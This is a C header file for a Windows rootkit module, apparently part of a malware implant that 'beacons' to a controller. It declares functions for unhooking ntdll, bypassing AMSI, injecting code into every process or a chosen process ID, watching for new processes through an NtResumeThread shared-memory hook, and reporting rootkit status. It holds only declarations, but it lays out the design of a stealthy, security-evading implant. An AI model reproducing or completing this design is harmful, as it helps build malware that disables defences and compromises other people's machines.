#ifndef ZERIN_ROOTKIT_H
#define ZERIN_ROOTKIT_H

#include "config.h"
#include <stdint.h>

#ifdef _WIN32

// Initialize rootkit subsystems (unhook, AMSI bypass — no injection yet)
int rootkit_init(zerin_config_t *cfg);

// Start injection (call AFTER first successful beacon)
int rootkit_start_injection(void);

// Cleanup rootkit state
void rootkit_cleanup(void);

// Individual subsystems
int rootkit_unhook_ntdll(void);
int rootkit_bypass_amsi(void);

// Injection engine
int rootkit_inject_all(void);
int rootkit_inject_pid(uint32_t pid);
int rootkit_start_monitor(void);
void rootkit_stop_monitor(void);

// Shared memory listener (NtResumeThread IPC — primary new-process mechanism)
int rootkit_start_shm_listener(void);
void rootkit_stop_shm_listener(void);

// Status reporting
int rootkit_get_status(char *buf, size_t buf_size);

// State tracking
extern volatile LONG g_rootkit_active;
extern volatile LONG g_rootkit_injected_count;

#endif // _WIN32
#endif // ZERIN_ROOTKIT_H